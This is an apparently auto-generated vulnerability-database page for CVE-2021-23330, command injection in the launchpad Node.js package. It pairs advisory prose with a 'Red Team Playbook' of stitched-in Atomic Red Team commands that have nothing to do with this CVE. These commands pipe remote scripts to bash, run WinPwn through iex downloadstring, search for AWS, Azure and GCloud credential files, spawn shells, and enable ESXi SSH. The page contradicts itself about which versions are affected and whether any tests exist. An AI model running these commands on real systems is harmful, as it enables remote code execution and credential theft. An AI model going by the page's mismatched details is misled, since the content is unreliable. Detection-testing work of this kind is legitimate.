CVE-2021-23330
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the launchpad package. The issue arises from the stop command handler failing to sanitize user-supplied input, allowing arbitrary shell commands to be executed. Affected are all versions of the launchpad Node.js package prior to 0.5.0, specifically in the command processing logic tied to the stop functionality.
Vulnerability Description
All versions of package launchpad are vulnerable to Command Injection via stop.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the host system with the privileges of the launchpad process. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data manipulation, or service disruption, posing a critical threat to environments running vulnerable versions of the launchpad package.
Solution
Users should upgrade the launchpad package to version 0.5.0 or later, where the command injection vulnerability has been addressed. The fix was merged in pull request #124 on the official GitHub repository (https://github.com/bitovi/launchpad/pull/124). Detailed patch instructions and advisories are available via the Snyk vulnerability page (https://snyk.io/vuln/SNYK-JS-LAUNCHPAD-1044065). No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the launchpad package arises from a command injection flaw that can be exploited through the "stop" command. This issue is particularly critical because it allows an attacker to execute arbitrary commands on the host system where the vulnerable package is deployed. The root cause of this vulnerability lies in insufficient validation of user input, which enables malicious actors to craft input that is executed by the underlying system shell. This flaw affects multiple versions of the launchpad package, which is widely used in Node.js applications, thereby increasing its potential impact across various environments.
Attack vectors for this vulnerability are diverse and can be executed through several means, including web interfaces, API endpoints, or command-line interfaces that utilize the launchpad package. An attacker could send specially crafted requests containing malicious payloads that exploit the command injection flaw. For instance, if an application allows users to stop services or processes without proper sanitization of input, an attacker could manipulate the input to execute arbitrary commands, leading to unauthorized access or control over the system. This exploitation could be performed remotely, making it particularly dangerous for applications exposed to the internet.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on the launchpad package for critical operations. Successful exploitation could lead to data breaches, loss of sensitive information, or even complete system compromise. The business risks associated with such incidents include reputational damage, financial losses due to downtime, and potential legal ramifications stemming from data protection regulations. Organizations that fail to address this vulnerability may find themselves facing significant operational disruptions and loss of customer trust, which can have long-lasting effects on their market position.
To detect and mitigate the risks posed by this command injection vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and code reviews should be conducted to identify vulnerable versions of the launchpad package within their environments. Automated tools can help in scanning for known vulnerabilities, but manual reviews are essential for understanding the context of how the package is used. Additionally, organizations should ensure that they are using the latest, patched versions of the launchpad package, as updates often include critical security fixes.
Furthermore, input validation and sanitization should be prioritized in application development practices. Implementing strict controls on user inputs, especially those that interact with system commands, can significantly reduce the risk of command injection attacks. Network segmentation and the principle of least privilege should also be enforced to limit the potential damage from any successful exploitation. By adopting these strategies, organizations can bolster their defenses against this vulnerability and enhance their overall security posture.
Affected Products (26)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bitovi | Launchpad | 0.1.0 |
cpe:2.3:a:bitovi:launchpad:0.1.0:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.2.0 |
cpe:2.3:a:bitovi:launchpad:0.2.0:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.2.1 |
cpe:2.3:a:bitovi:launchpad:0.2.1:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.3.0 |
cpe:2.3:a:bitovi:launchpad:0.3.0:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.0 |
cpe:2.3:a:bitovi:launchpad:0.4.0:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.1 |
cpe:2.3:a:bitovi:launchpad:0.4.1:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.2 |
cpe:2.3:a:bitovi:launchpad:0.4.2:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.3 |
cpe:2.3:a:bitovi:launchpad:0.4.3:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.4 |
cpe:2.3:a:bitovi:launchpad:0.4.4:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.5 |
cpe:2.3:a:bitovi:launchpad:0.4.5:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.6 |
cpe:2.3:a:bitovi:launchpad:0.4.6:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.7 |
cpe:2.3:a:bitovi:launchpad:0.4.7:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.8 |
cpe:2.3:a:bitovi:launchpad:0.4.8:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.4.9 |
cpe:2.3:a:bitovi:launchpad:0.4.9:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.5.0 |
cpe:2.3:a:bitovi:launchpad:0.5.0:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.5.1 |
cpe:2.3:a:bitovi:launchpad:0.5.1:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.5.2 |
cpe:2.3:a:bitovi:launchpad:0.5.2:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.5.3 |
cpe:2.3:a:bitovi:launchpad:0.5.3:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.5.4 |
cpe:2.3:a:bitovi:launchpad:0.5.4:*:*:*:*:node.js:*:*
|
|
|
Bitovi | Launchpad | 0.6.0 |
cpe:2.3:a:bitovi:launchpad:0.6.0:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-23330 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-LAUNCHPAD-1044065 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bitovi/launchpad/issues/123%23issuecomment-732188118 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/bitovi/launchpad/pull/124 |